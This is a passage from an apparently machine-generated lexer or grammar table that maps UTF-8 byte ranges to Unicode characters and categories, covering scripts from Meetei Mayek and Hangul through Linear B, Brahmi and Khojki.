#Mc   [2] MEETEI MAYEK VOWEL SIGN YENAP..MEE...\n      | 0xEA 0xAF 0xA8          #Mn       MEETEI MAYEK VOWEL SIGN UNAP\n      | 0xEA 0xAF 0xA9..0xAA    #Mc   [2] MEETEI MAYEK VOWEL SIGN CHEINAP..M...\n      | 0xEA 0xAF 0xAC          #Mc       MEETEI MAYEK LUM IYEK\n      | 0xEA 0xAF 0xAD          #Mn       MEETEI MAYEK APUN IYEK\n      | 0xEA 0xAF 0xB0..0xB9    #Nd  [10] MEETEI MAYEK DIGIT ZERO..MEETEI MA...\n      | 0xEA 0xB0 0x80..0xFF              #Lo [11172] HANGUL SYLLABLE GA..HA...\n      | 0xEA 0xB1..0xFF 0x00..0xFF        #\n      | 0xEB..0xEC 0x00..0xFF 0x00..0xFF  #\n      | 0xED 0x00 0x00..0xFF              #\n      | 0xED 0x01..0x9D 0x00..0xFF        #\n      | 0xED 0x9E 0x00..0xA3              #\n      | 0xED 0x9E 0xB0..0xFF    #Lo  [23] HANGUL JUNGSEONG O-YEO..HANGUL JUN...\n      | 0xED 0x9F 0x00..0x86    #\n      | 0xED 0x9F 0x8B..0xBB    #Lo  [49] HANGUL JONGSEONG NIEUN-RIEUL..HANG...\n      | 0xEF 0xA4 0x80..0xFF        #Lo [366] CJK COMPATIBILITY IDEOGRAPH-F9...\n      | 0xEF 0xA5..0xA8 0x00..0xFF  #\n      | 0xEF 0xA9 0x00..0xAD        #\n      | 0xEF 0xA9 0xB0..0xFF        #Lo [106] CJK COMPATIBILITY IDEOGRAPH-FA...\n      | 0xEF 0xAA..0xAA 0x00..0xFF  #\n      | 0xEF 0xAB 0x00..0x99        #\n      | 0xEF 0xAC 0x80..0x86    #L&   [7] LATIN SMALL LIGATURE FF..LATIN SMA...\n      | 0xEF 0xAC 0x93..0x97    #L&   [5] ARMENIAN SMALL LIGATURE MEN NOW..A...\n      | 0xEF 0xAC 0x9D          #Lo       HEBREW LETTER YOD WITH HIRIQ\n      | 0xEF 0xAC 0x9E          #Mn       HEBREW POINT JUDEO-SPANISH VARIKA\n      | 0xEF 0xAC 0x9F..0xA8    #Lo  [10] HEBREW LIGATURE YIDDISH YOD YOD PA...\n      | 0xEF 0xAC 0xAA..0xB6    #Lo  [13] HEBREW LETTER SHIN WITH SHIN DOT.....\n      | 0xEF 0xAC 0xB8..0xBC    #Lo   [5] HEBREW LETTER TET WITH DAGESH..HEB...\n      | 0xEF 0xAC 0xBE          #Lo       HEBREW LETTER MEM WITH DAGESH\n      | 0xEF 0xAD 0x80..0x81    #Lo   [2] HEBREW LETTER NUN WITH DAGESH..HEB...\n      | 0xEF 0xAD 0x83..0x84    #Lo   [2] HEBREW LETTER FINAL PE WITH DAGESH...\n      | 0xEF 0xAD 0x86..0xFF    #Lo [108] HEBREW LETTER TSADI WITH DAGESH..A...\n      | 0xEF 0xAE 0x00..0xB1    #\n      | 0xEF 0xAF 0x93..0xFF        #Lo [363] ARABIC LETTER NG ISOLATED FORM...\n      | 0xEF 0xB0..0xB3 0x00..0xFF  #\n      | 0xEF 0xB4 0x00..0xBD        #\n      | 0xEF 0xB5 0x90..0xFF    #Lo  [64] ARABIC LIGATURE TEH WITH JEEM WITH...\n      | 0xEF 0xB6 0x00..0x8F    #\n      | 0xEF 0xB6 0x92..0xFF    #Lo  [54] ARABIC LIGATURE MEEM WITH JEEM WIT...\n      | 0xEF 0xB7 0x00..0x87    #\n      | 0xEF 0xB7 0xB0..0xBB    #Lo  [12] ARABIC LIGATURE SALLA USED AS KORA...\n      | 0xEF 0xB8 0x80..0x8F    #Mn  [16] VARIATION SELECTOR-1..VARIATION SE...\n      | 0xEF 0xB8 0xA0..0xAF    #Mn  [16] COMBINING LIGATURE LEFT HALF..COMB...\n      | 0xEF 0xB8 0xB3..0xB4    #Pc   [2] PRESENTATION FORM FOR VERTICAL LOW...\n      | 0xEF 0xB9 0x8D..0x8F    #Pc   [3] DASHED LOW LINE..WAVY LOW LINE\n      | 0xEF 0xB9 0xB0..0xB4    #Lo   [5] ARABIC FATHATAN ISOLATED FORM..ARA...\n      | 0xEF 0xB9 0xB6..0xFF        #Lo [135] ARABIC FATHA ISOLATED FORM..AR...\n      | 0xEF 0xBA..0xBA 0x00..0xFF  #\n      | 0xEF 0xBB 0x00..0xBC        #\n      | 0xEF 0xBC 0x90..0x99    #Nd  [10] FULLWIDTH DIGIT ZERO..FULLWIDTH DI...\n      | 0xEF 0xBC 0xA1..0xBA    #L&  [26] FULLWIDTH LATIN CAPITAL LETTER A.....\n      | 0xEF 0xBC 0xBF          #Pc       FULLWIDTH LOW LINE\n      | 0xEF 0xBD 0x81..0x9A    #L&  [26] FULLWIDTH LATIN SMALL LETTER A..FU...\n      | 0xEF 0xBD 0xA6..0xAF    #Lo  [10] HALFWIDTH KATAKANA LETTER WO..HALF...\n      | 0xEF 0xBD 0xB0          #Lm       HALFWIDTH KATAKANA-HIRAGANA PROLON...\n      | 0xEF 0xBD 0xB1..0xFF    #Lo  [45] HALFWIDTH KATAKANA LETTER A..HALFW...\n      | 0xEF 0xBE 0x00..0x9D    #\n      | 0xEF 0xBE 0x9E..0x9F    #Lm   [2] HALFWIDTH KATAKANA VOICED SOUND MA...\n      | 0xEF 0xBE 0xA0..0xBE    #Lo  [31] HALFWIDTH HANGUL FILLER..HALFWIDTH...\n      | 0xEF 0xBF 0x82..0x87    #Lo   [6] HALFWIDTH HANGUL LETTER A..HALFWID...\n      | 0xEF 0xBF 0x8A..0x8F    #Lo   [6] HALFWIDTH HANGUL LETTER YEO..HALFW...\n      | 0xEF 0xBF 0x92..0x97    #Lo   [6] HALFWIDTH HANGUL LETTER YO..HALFWI...\n      | 0xEF 0xBF 0x9A..0x9C    #Lo   [3] HALFWIDTH HANGUL LETTER EU..HALFWI...\n      | 0xF0 0x90 0x80 0x80..0x8B  #Lo  [12] LINEAR B SYLLABLE B008 A..LINEA...\n      | 0xF0 0x90 0x80 0x8D..0xA6  #Lo  [26] LINEAR B SYLLABLE B036 JO..LINE...\n      | 0xF0 0x90 0x80 0xA8..0xBA  #Lo  [19] LINEAR B SYLLABLE B060 RA..LINE...\n      | 0xF0 0x90 0x80 0xBC..0xBD  #Lo   [2] LINEAR B SYLLABLE B017 ZA..LINE...\n      | 0xF0 0x90 0x80 0xBF..0xFF  #Lo  [15] LINEAR B SYLLABLE B020 ZO..LINE...\n      | 0xF0 0x90 0x81 0x00..0x8D  #\n      | 0xF0 0x90 0x81 0x90..0x9D  #Lo  [14] LINEAR B SYMBOL B018..LINEAR B ...\n      | 0xF0 0x90 0x82 0x80..0xFF  #Lo [123] LINEAR B IDEOGRAM B100 MAN..LIN...\n      | 0xF0 0x90 0x83 0x00..0xBA  #\n      | 0xF0 0x90 0x85 0x80..0xB4  #Nl  [53] GREEK ACROPHONIC ATTIC ONE QUAR...\n      | 0xF0 0x90 0x87 0xBD     #Mn       PHAISTOS DISC SIGN COMBINING OBLIQ...\n      | 0xF0 0x90 0x8A 0x80..0x9C  #Lo  [29] LYCIAN LETTER A..LYCIAN LETTER X\n      | 0xF0 0x90 0x8A 0xA0..0xFF  #Lo  [49] CARIAN LETTER A..CARIAN LETTER ...\n      | 0xF0 0x90 0x8B 0x00..0x90  #\n      | 0xF0 0x90 0x8B 0xA0     #Mn       COPTIC EPACT THOUSANDS MARK\n      | 0xF0 0x90 0x8C 0x80..0x9F  #Lo  [32] OLD ITALIC LETTER A..OLD ITALIC...\n      | 0xF0 0x90 0x8C 0xB0..0xFF  #Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETT...\n      | 0xF0 0x90 0x8D 0x00..0x80  #\n      | 0xF0 0x90 0x8D 0x81     #Nl       GOTHIC LETTER NINETY\n      | 0xF0 0x90 0x8D 0x82..0x89  #Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LET...\n      | 0xF0 0x90 0x8D 0x8A     #Nl       GOTHIC LETTER NINE HUNDRED\n      | 0xF0 0x90 0x8D 0x90..0xB5  #Lo  [38] OLD PERMIC LETTER AN..OLD PERMI...\n      | 0xF0 0x90 0x8D 0xB6..0xBA  #Mn   [5] COMBINING OLD PERMIC LETTER AN....\n      | 0xF0 0x90 0x8E 0x80..0x9D  #Lo  [30] UGARITIC LETTER ALPA..UGARITIC ...\n      | 0xF0 0x90 0x8E 0xA0..0xFF  #Lo  [36] OLD PERSIAN SIGN A..OLD PERSIAN...\n      | 0xF0 0x90 0x8F 0x00..0x83  #\n      | 0xF0 0x90 0x8F 0x88..0x8F  #Lo   [8] OLD PERSIAN SIGN AURAMAZDAA..OL...\n      | 0xF0 0x90 0x8F 0x91..0x95  #Nl   [5] OLD PERSIAN NUMBER ONE..OLD PER...\n      | 0xF0 0x90 0x90 0x80..0xFF  #L&  [80] DESERET CAPITAL LETTER LONG I.....\n      | 0xF0 0x90 0x91 0x00..0x8F  #\n      | 0xF0 0x90 0x91 0x90..0xFF  #Lo  [78] SHAVIAN LETTER PEEP..OSMANYA LE...\n      | 0xF0 0x90 0x92 0x00..0x9D  #\n      | 0xF0 0x90 0x92 0xA0..0xA9  #Nd  [10] OSMANYA DIGIT ZERO..OSMANYA DIG...\n      | 0xF0 0x90 0x92 0xB0..0xFF  #L&  [36] OSAGE CAPITAL LETTER A..OSAGE C...\n      | 0xF0 0x90 0x93 0x00..0x93  #\n      | 0xF0 0x90 0x93 0x98..0xBB  #L&  [36] OSAGE SMALL LETTER A..OSAGE SMA...\n      | 0xF0 0x90 0x94 0x80..0xA7  #Lo  [40] ELBASAN LETTER A..ELBASAN LETTE...\n      | 0xF0 0x90 0x94 0xB0..0xFF  #Lo  [52] CAUCASIAN ALBANIAN LETTER ALT.....\n      | 0xF0 0x90 0x95 0x00..0xA3  #\n      | 0xF0 0x90 0x98 0x80..0xFF        #Lo [311] LINEAR A SIGN AB001..LINE...\n      | 0xF0 0x90 0x99..0x9B 0x00..0xFF  #\n      | 0xF0 0x90 0x9C 0x00..0xB6        #\n      | 0xF0 0x90 0x9D 0x80..0x95  #Lo  [22] LINEAR A SIGN A701 A..LINEAR A ...\n      | 0xF0 0x90 0x9D 0xA0..0xA7  #Lo   [8] LINEAR A SIGN A800..LINEAR A SI...\n      | 0xF0 0x90 0xA0 0x80..0x85  #Lo   [6] CYPRIOT SYLLABLE A..CYPRIOT SYL...\n      | 0xF0 0x90 0xA0 0x88     #Lo       CYPRIOT SYLLABLE JO\n      | 0xF0 0x90 0xA0 0x8A..0xB5  #Lo  [44] CYPRIOT SYLLABLE KA..CYPRIOT SY...\n      | 0xF0 0x90 0xA0 0xB7..0xB8  #Lo   [2] CYPRIOT SYLLABLE XA..CYPRIOT SY...\n      | 0xF0 0x90 0xA0 0xBC     #Lo       CYPRIOT SYLLABLE ZA\n      | 0xF0 0x90 0xA0 0xBF..0xFF  #Lo  [23] CYPRIOT SYLLABLE ZO..IMPERIAL A...\n      | 0xF0 0x90 0xA1 0x00..0x95  #\n      | 0xF0 0x90 0xA1 0xA0..0xB6  #Lo  [23] PALMYRENE LETTER ALEPH..PALMYRE...\n      | 0xF0 0x90 0xA2 0x80..0x9E  #Lo  [31] NABATAEAN LETTER FINAL ALEPH..N...\n      | 0xF0 0x90 0xA3 0xA0..0xB2  #Lo  [19] HATRAN LETTER ALEPH..HATRAN LET...\n      | 0xF0 0x90 0xA3 0xB4..0xB5  #Lo   [2] HATRAN LETTER SHIN..HATRAN LETT...\n      | 0xF0 0x90 0xA4 0x80..0x95  #Lo  [22] PHOENICIAN LETTER ALF..PHOENICI...\n      | 0xF0 0x90 0xA4 0xA0..0xB9  #Lo  [26] LYDIAN LETTER A..LYDIAN LETTER C\n      | 0xF0 0x90 0xA6 0x80..0xB7  #Lo  [56] MEROITIC HIEROGLYPHIC LETTER A....\n      | 0xF0 0x90 0xA6 0xBE..0xBF  #Lo   [2] MEROITIC CURSIVE LOGOGRAM RMT.....\n      | 0xF0 0x90 0xA8 0x80     #Lo       KHAROSHTHI LETTER A\n      | 0xF0 0x90 0xA8 0x81..0x83  #Mn   [3] KHAROSHTHI VOWEL SIGN I..KHAROS...\n      | 0xF0 0x90 0xA8 0x85..0x86  #Mn   [2] KHAROSHTHI VOWEL SIGN E..KHAROS...\n      | 0xF0 0x90 0xA8 0x8C..0x8F  #Mn   [4] KHAROSHTHI VOWEL LENGTH MARK..K...\n      | 0xF0 0x90 0xA8 0x90..0x93  #Lo   [4] KHAROSHTHI LETTER KA..KHAROSHTH...\n      | 0xF0 0x90 0xA8 0x95..0x97  #Lo   [3] KHAROSHTHI LETTER CA..KHAROSHTH...\n      | 0xF0 0x90 0xA8 0x99..0xB3  #Lo  [27] KHAROSHTHI LETTER NYA..KHAROSHT...\n      | 0xF0 0x90 0xA8 0xB8..0xBA  #Mn   [3] KHAROSHTHI SIGN BAR ABOVE..KHAR...\n      | 0xF0 0x90 0xA8 0xBF     #Mn       KHAROSHTHI VIRAMA\n      | 0xF0 0x90 0xA9 0xA0..0xBC  #Lo  [29] OLD SOUTH ARABIAN LETTER HE..OL...\n      | 0xF0 0x90 0xAA 0x80..0x9C  #Lo  [29] OLD NORTH ARABIAN LETTER HEH..O...\n      | 0xF0 0x90 0xAB 0x80..0x87  #Lo   [8] MANICHAEAN LETTER ALEPH..MANICH...\n      | 0xF0 0x90 0xAB 0x89..0xA4  #Lo  [28] MANICHAEAN LETTER ZAYIN..MANICH...\n      | 0xF0 0x90 0xAB 0xA5..0xA6  #Mn   [2] MANICHAEAN ABBREVIATION MARK AB...\n      | 0xF0 0x90 0xAC 0x80..0xB5  #Lo  [54] AVESTAN LETTER A..AVESTAN LETTE...\n      | 0xF0 0x90 0xAD 0x80..0x95  #Lo  [22] INSCRIPTIONAL PARTHIAN LETTER A...\n      | 0xF0 0x90 0xAD 0xA0..0xB2  #Lo  [19] INSCRIPTIONAL PAHLAVI LETTER AL...\n      | 0xF0 0x90 0xAE 0x80..0x91  #Lo  [18] PSALTER PAHLAVI LETTER ALEPH..P...\n      | 0xF0 0x90 0xB0 0x80..0xFF  #Lo  [73] OLD TURKIC LETTER ORKHON A..OLD...\n      | 0xF0 0x90 0xB1 0x00..0x88  #\n      | 0xF0 0x90 0xB2 0x80..0xB2  #L&  [51] OLD HUNGARIAN CAPITAL LETTER A....\n      | 0xF0 0x90 0xB3 0x80..0xB2  #L&  [51] OLD HUNGARIAN SMALL LETTER A..O...\n      | 0xF0 0x91 0x80 0x80     #Mc       BRAHMI SIGN CANDRABINDU\n      | 0xF0 0x91 0x80 0x81     #Mn       BRAHMI SIGN ANUSVARA\n      | 0xF0 0x91 0x80 0x82     #Mc       BRAHMI SIGN VISARGA\n      | 0xF0 0x91 0x80 0x83..0xB7  #Lo  [53] BRAHMI SIGN JIHVAMULIYA..BRAHMI...\n      | 0xF0 0x91 0x80 0xB8..0xFF  #Mn  [15] BRAHMI VOWEL SIGN AA..BRAHMI VI...\n      | 0xF0 0x91 0x81 0x00..0x86  #\n      | 0xF0 0x91 0x81 0xA6..0xAF  #Nd  [10] BRAHMI DIGIT ZERO..BRAHMI DIGIT...\n      | 0xF0 0x91 0x81 0xBF..0xFF  #Mn   [3] BRAHMI NUMBER JOINER..KAITHI SI...\n      | 0xF0 0x91 0x82 0x00..0x81  #\n      | 0xF0 0x91 0x82 0x82     #Mc       KAITHI SIGN VISARGA\n      | 0xF0 0x91 0x82 0x83..0xAF  #Lo  [45] KAITHI LETTER A..KAITHI LETTER HA\n      | 0xF0 0x91 0x82 0xB0..0xB2  #Mc   [3] KAITHI VOWEL SIGN AA..KAITHI VO...\n      | 0xF0 0x91 0x82 0xB3..0xB6  #Mn   [4] KAITHI VOWEL SIGN U..KAITHI VOW...\n      | 0xF0 0x91 0x82 0xB7..0xB8  #Mc   [2] KAITHI VOWEL SIGN O..KAITHI VOW...\n      | 0xF0 0x91 0x82 0xB9..0xBA  #Mn   [2] KAITHI SIGN VIRAMA..KAITHI SIGN...\n      | 0xF0 0x91 0x83 0x90..0xA8  #Lo  [25] SORA SOMPENG LETTER SAH..SORA S...\n      | 0xF0 0x91 0x83 0xB0..0xB9  #Nd  [10] SORA SOMPENG DIGIT ZERO..SORA S...\n      | 0xF0 0x91 0x84 0x80..0x82  #Mn   [3] CHAKMA SIGN CANDRABINDU..CHAKMA...\n      | 0xF0 0x91 0x84 0x83..0xA6  #Lo  [36] CHAKMA LETTER AA..CHAKMA LETTER...\n      | 0xF0 0x91 0x84 0xA7..0xAB  #Mn   [5] CHAKMA VOWEL SIGN A..CHAKMA VOW...\n      | 0xF0 0x91 0x84 0xAC     #Mc       CHAKMA VOWEL SIGN E\n      | 0xF0 0x91 0x84 0xAD..0xB4  #Mn   [8] CHAKMA VOWEL SIGN AI..CHAKMA MA...\n      | 0xF0 0x91 0x84 0xB6..0xBF  #Nd  [10] CHAKMA DIGIT ZERO..CHAKMA DIGIT...\n      | 0xF0 0x91 0x85 0x90..0xB2  #Lo  [35] MAHAJANI LETTER A..MAHAJANI LET...\n      | 0xF0 0x91 0x85 0xB3     #Mn       MAHAJANI SIGN NUKTA\n      | 0xF0 0x91 0x85 0xB6     #Lo       MAHAJANI LIGATURE SHRI\n      | 0xF0 0x91 0x86 0x80..0x81  #Mn   [2] SHARADA SIGN CANDRABINDU..SHARA...\n      | 0xF0 0x91 0x86 0x82     #Mc       SHARADA SIGN VISARGA\n      | 0xF0 0x91 0x86 0x83..0xB2  #Lo  [48] SHARADA LETTER A..SHARADA LETTE...\n      | 0xF0 0x91 0x86 0xB3..0xB5  #Mc   [3] SHARADA VOWEL SIGN AA..SHARADA ...\n      | 0xF0 0x91 0x86 0xB6..0xBE  #Mn   [9] SHARADA VOWEL SIGN U..SHARADA V...\n      | 0xF0 0x91 0x86 0xBF..0xFF  #Mc   [2] SHARADA VOWEL SIGN AU..SHARADA ...\n      | 0xF0 0x91 0x87 0x00..0x80  #\n      | 0xF0 0x91 0x87 0x81..0x84  #Lo   [4] SHARADA SIGN AVAGRAHA..SHARADA OM\n      | 0xF0 0x91 0x87 0x8A..0x8C  #Mn   [3] SHARADA SIGN NUKTA..SHARADA EXT...\n      | 0xF0 0x91 0x87 0x90..0x99  #Nd  [10] SHARADA DIGIT ZERO..SHARADA DIG...\n      | 0xF0 0x91 0x87 0x9A     #Lo       SHARADA EKAM\n      | 0xF0 0x91 0x87 0x9C     #Lo       SHARADA HEADSTROKE\n      | 0xF0 0x91 0x88 0x80..0x91  #Lo  [18] KHOJKI LETTER A..KHOJKI LETTER JJA\n      | 0xF0 0x91 0x88 0x93..0xAB  #Lo  [25] KHOJKI LETTER NYA..KHOJKI LETTE...\n      | 0xF0 0x91 0x88 0xAC..0xAE  #Mc   [3] KHOJKI VOWEL SIGN AA..KHOJKI VO...\n      | 0xF0 0x91 0x88 0xAF..0xB1  #Mn   [3] KHOJKI VOWEL SIGN U..KHOJKI VOW...\n      | 0xF0 0x91 0x88 0xB2..0xB3  #Mc   [2] KHOJKI VOWEL SIGN O..KHOJKI VOW...\n      | 0xF0 0x91 0x88 0xB4     #Mn       KHOJKI SIGN ANUSVARA\n      | 0xF0 0x91 0x88 0xB5     #Mc       KHOJKI SIGN VIRAMA\n      | 0xF0 0x91 0x88 0xB6..0xB7  #Mn   [2] KHOJKI SIGN NUKTA..KHOJKI SIGN ...\n      | 0xF0 0x91 0x88 0xBE     #Mn       KHOJKI SIGN SUKUN\n      | 0xF0 0x91 0x8A 0x80..0x86  #Lo   [7] MULTANI LETTER A..MULTANI LETTE...\n      | 0xF0 0x91 0x8A 0x88     #Lo       MULTANI LETTER GHA\n      | 0xF0 0x91 0x8A 0x8A..0x8D  #Lo   [4] MULTANI LETTER CA..MULTANI LETT...\n      | 0xF0 0x91 0x8A 0x8F..0x9D  #Lo  [15] MULTANI LETTER NYA..MULTANI LET...\n      | 0xF0 0x91 0x8A 0x9F..0xA8  #Lo  [10] MULTANI LETTER BHA..MULTANI LET...\n      | 0xF0 0x91 0x8A 0xB0..0xFF  #Lo  [47] KHUDAWADI LETTER A..KHUDAWADI L...\n      | 0xF0 0x91 0x8B 0x00..0x9E  #\n      | 0xF0 0x91 0x8B 0x9F     #Mn       KHUDAWADI SIGN ANUSVARA\n      | 0xF0 0x91 0x8B 0xA0..0xA2  #Mc   [3] KHUDAWADI VOWEL SIGN AA..KHUDAW...\n      | 0xF0 0x91 0x8B 0xA3..0xAA  #Mn   [8] KHUDAWADI VOWEL SIGN U..KHUDAWA...\n      | 0xF0 0x91 0x8B 0xB0..0xB9  #Nd  [10] KHUDAWADI DIGIT ZERO..KHUDAWADI...\n      | 0xF0 0x91 0x8C 0x80..0x81  #Mn   [2] GRANTHA SIGN COMBINING ANUSVARA...\n      | 0xF0 0x91 0x8C 0x82..0x83  #Mc   [2] GRANTHA SIGN ANUSVARA..GRANTHA ...\n      | 0xF0 0x91 0x8C 0x85..0x8C  #Lo   [8] GRANTHA LETTER A..GRANTHA LETTE...\n      | 0xF0 0x91 0x8C 0x8F..0x90  #Lo   [2] GRANTHA LETTER EE..GRANTHA LETT...\n      | 0xF0 0x91 0x8C 0x93..0xA8  #Lo  [22] GRANTHA LETTER OO..GRANTHA LETT...\n      | 0xF0 0x91 0x8C 0xAA..0xB0  #Lo   [7] GRANTHA LETTER PA..GRANTHA LETT...\n      | 0xF0 0x91 0x8C 0xB2..0xB3  #Lo   [2] GRANTHA LETTER LA..GRANTHA LETT...\n      | 0xF0 0x91 0x8C 0xB5..0xB9  #Lo   [5] GRANTHA LETTER VA..GRANTHA LETT...\n      | 0xF0 0x91 0x8C 0xBC     #Mn       GRANTHA SIGN NUKTA\n      | 0xF0 0x91 0x8C 0xBD     #Lo       GRANTHA SIGN AVAGRAHA\n      | 0xF0 0x91 0x8C 0xBE..0xBF  #Mc   [2] GRANTHA VOWEL SIGN AA..GRANTHA ...\n      | 0xF0 0x91 0x8D 0x80     #Mn       GRANTHA VOWEL SIGN II\n      | 0xF0 0x91 0x8D 0x81..0x84  #Mc   [4] GRANTHA VOWEL SIGN U..GRANTHA V...\n      | 0xF0 0x91 0x8D 0x87..0x88  #Mc   [2] GRANTHA VOWEL SIGN EE..GRANTHA ...\n      | 0xF0 0x91 0x8D 0x8B..0x8D  #Mc   [3] GRANTHA VOWEL SIGN OO..GRANTHA ...\n      | 0xF0 0x91 0x8D 0x90     #Lo       GRANTHA OM\n      | 0xF0 0x91 0x8D 0x97     #Mc       GRANTHA AU LENGTH MARK\n      | 0xF0 0x91 0x8D 0x9D..0xA1  #Lo   [5] GRANTHA SIGN PLUTA..GRANTHA LET...\n      | 0xF0 0x91 0x8D 0xA2..0xA3  #Mc   [2] GRANTHA VOWEL SIGN VOCALIC L..G...\n      | 0xF0 0x91 0x8D 0xA6..0xAC  #Mn   [7] COMBINING GRANTHA DIGIT ZERO..C...\n      | 0xF0 0x91 0x8D 0xB0..0xB4  #Mn   [5] COMBINING GRANTHA LETTER A..COM...\n      | 0xF0 0x91 0x90 0x80..0xB4  #Lo  [53] NEWA LETTER A..NEWA LETTER HA\n      | 0xF0 0x91 0x90 0xB5..0xB7  #Mc   [3] NEWA VOWEL SIGN AA..NEWA VOWEL ...\n      | 0xF0 0x91 0x90 0xB8..0xBF  #Mn   [8] NEWA VOWEL SIGN U..NEWA VOWEL S...\n      | 0xF0 0x91 0x91 0x80..0x81  #Mc   [2] NEWA VOWEL SIGN O..NEWA VOWEL S...\n      | 0xF0 0x91 0x91 0x82..0x84  #Mn   [3] NEWA SIGN VIRAMA..NEWA SIGN ANU...\n      | 0xF0 0x91 0x91 0x85     #Mc       NEWA SIGN VISARGA\n      | 0xF0 0x91 0x91 0x86     #Mn       NEWA SIGN NUKTA\n      | 0xF0 0x91 0x91 0x87..0x8A  #Lo   [4] NEWA SIGN AVAGRAHA..NEWA SIDDHI\n      | 0xF0 0x91 0x91 0x90..0x99  #Nd  [10] NEWA DIGIT ZERO..NEWA DIGIT NINE\n      | 0xF0 0x91 0x92 0x80..0xAF  #Lo  [48] TIRHUTA ANJI..TIRHUTA LETTER HA\n      | 0xF0 0x91 0x92 0xB0..0xB2  #Mc   [3] TIRHUTA VOWEL SIGN AA..TIRHUTA ...\n      | 0xF0 0x91 0x92 0xB3..0xB8  #Mn   [6] TIRHUTA VOWEL SIGN U..TIRHUTA V...\n      | 0xF0 0x91 0x92 0xB9     #Mc       TIRHUTA VOWEL SIGN E\n      | 0xF0 0x91 0x92 0xBA     #Mn       TIRHUTA VOWEL SIGN SHORT E\n      | 0xF0 0x91 0x92 0xBB..0xBE  #Mc   [4] TIRHUTA VOWEL SIGN AI..TIRHUTA ...\n      | 0xF0 0x91 0x92 0xBF..0xFF  #Mn   [2] TIRHUTA SIGN CANDRABINDU..TIRHU...\n      | 0xF0 0x91 0x93 0x00..0x80  #\n      | 0xF0 0x91 0x93 0x81     #Mc       TIRHUTA SIGN VISARGA\n      | 0xF0 0x91 0x93 0x82..0x83  #Mn   [2] TIRHUTA SIGN VIRAMA..TIRHUTA SI...\n      | 0xF0 0x91 0x93 0x84..0x85  #Lo   [2] TIRHUTA SIGN AVAGRAHA..TIRHUTA ...\n      | 0xF0 0x91 0x93 0x87     #Lo       TIRHUTA OM\n      | 0xF0 0x91 0x93 0x90..0x99  #Nd  [10] TIRHUTA DIGIT ZERO..TIRHUTA DIG...\n      | 0xF0 0x91 0x96 0x80..0xAE  #Lo  [47] SIDDHAM LETTER A..SIDDHAM LETTE...\n      | 0xF0 0x91 0x96 0xAF..0xB1  #Mc   [3] SIDDHAM VOWEL SIGN AA..SIDDHAM ...\n      | 0xF0 0x91 0x96 0xB2..0xB5  #Mn   [4] SIDDHAM VOWEL SIGN U..SIDDHAM V...\n      | 0xF0 0x91 0x96 0xB8..0xBB  #Mc   [4] SIDDHAM VOWEL SIGN E..SIDDHAM V...\n      | 0xF0 0x91 0x96 0xBC..0xBD  #Mn   [2] SIDDHAM SIGN CANDRABINDU..SIDDH...\n      | 0xF0 0x91 0x96 0xBE     #Mc       SIDDHAM SIGN VISARGA\n      | 0xF0 0x91 0x96 0xBF..0xFF  #Mn   [2] SIDDHAM SIGN VIRAMA..SIDDHAM SI...\n      | 0xF0 0x91 0x97 0x00..0x80  #\n      | 0xF0 0x91 0x97 0x98..0x9B  #Lo   [4] SIDDHAM LETTER THREE-CIRCLE ALT...\n      | 0xF0 0x91 0x97 0x9C..0x9D  #Mn   [2] SIDDHAM VOWEL SIGN ALTERNATE U....\n      | 0xF0 0x91 0x98 0x80..0xAF  #Lo  [48] MODI LETTER A..MODI LETTER LLA\n      | 0xF0 0x91 0x98 0xB0..0xB2  #Mc   [3] MODI VOWEL SIGN AA..MODI VOWEL ...\n      | 0xF0 0x91 0x98 0xB3..0xBA  #Mn   [8] MODI VOWEL SIGN U..MODI VOWEL S...\n      | 0xF0 0x91 0x98 0xBB..0xBC  #Mc   [2] MODI VOWEL SIGN O..MODI VOWEL S...\n      | 0xF0 0x91 0x98 0xBD     #Mn       MODI SIGN ANUSVARA\n      | 0xF0 0x91 0x98 0xBE     #Mc       MODI SIGN VISARGA\n      | 0xF0 0x91 0x98 0xBF..0xFF  #Mn   [2] MODI SIGN VIRAMA..MODI SIGN ARD...\n      | 0xF0 0x91 0x99 0x00..0x80  #\n      | 0xF0 0x91 0x99 0x84     #Lo       MODI SIGN HUVA\n      | 0xF0 0x91 0x99 0x90..0x99  #Nd  [10] MODI DIGIT ZERO..MODI DIGIT NINE\n      | 0xF0 0x91 0x9A 0x80..0xAA  #Lo  [43] TAKRI LETTER A..TAKRI LETTER RRA\n      | 0xF0 0x91 0x9A 0xAB     #Mn       TAKRI SIGN ANUSVARA\n      | 0xF0 0x91 0x9A 0xAC     #Mc       TAKRI SIGN VISARGA\n      | 0xF0 0x91 0x9A 0xAD     #Mn       TAKRI VOWEL SIGN AA\n      | 0xF0 0x91 0x9A 0xAE..0xAF  #Mc   [2] TAKRI VOWEL SIGN I..TAKRI VOWEL...\n      | 0xF0 0x91 0x9A 0xB0..0xB5  #Mn   [6] TAKRI VOWEL SIGN U..TAKRI VOWEL...\n      | 0xF0 0x91 0x9A 0xB6     #Mc       TAKRI SIGN VIRAMA\n      | 0xF0 0x91 0x9A 0xB7     #Mn       TAKRI SIGN NUKTA\n      | 0xF0 0x91 0x9B 0x80..0x89  #Nd  [10] TAKRI DIGIT ZERO..TAKRI DIGIT NINE\n      | 0xF0 0x91 0x9C 0x80..0x99  #Lo  [26] AHOM LETTER KA..AHOM LETTER JHA\n      | 0xF0 0x91 0x9C 0x9D..0x9F  #Mn   [3] AHOM CONSONANT SIGN MEDIAL LA.....\n      | 0xF0 0x91 0x9C 0xA0..0xA1  #Mc   [2] AHOM VOWEL SIGN A..AHOM VOWEL S...\n      | 0xF0 0x91 0x9C 0xA2..0xA5  #Mn   [4] AHOM VOWEL SIGN I..AHOM VOWEL S...\n      | 0xF0 0x91 0x9C 0xA6     #Mc       AHOM VOWEL SIGN E\n      | 0xF0 0x91 0x9C 0xA7..0xAB  #Mn   [5] AHOM VOWEL SIGN AW..AHOM SIGN K...\n      | 0xF0 0x91 0x9C 0xB0..0xB9  #Nd  [10] AHOM DIGIT ZERO..AHOM DIGIT NINE\n      | 0xF0 0x91 0xA2 0xA0..0xFF  #L&  [64] WARANG CITI CAPITAL LETTER NGAA...\n      | 0xF0 0x91 0xA3 0x00..0x9F  #\n      | 0xF0 0x91 0xA3 0xA0..0xA9  #Nd  [10] WARANG CITI DIGIT ZERO..WARANG ...\n      | 0xF0 0x91 0xA3 0xBF     #Lo       WARANG CITI OM\n      | 0xF0 0x91 0xAB 0x80..0xB8  #Lo  [57] PAU CIN HAU LETTER PA..PAU CIN ...\n      | 0xF0 0x91 0xB0 0x80..0x88  #Lo   [9] BHAIKSUKI LETTER 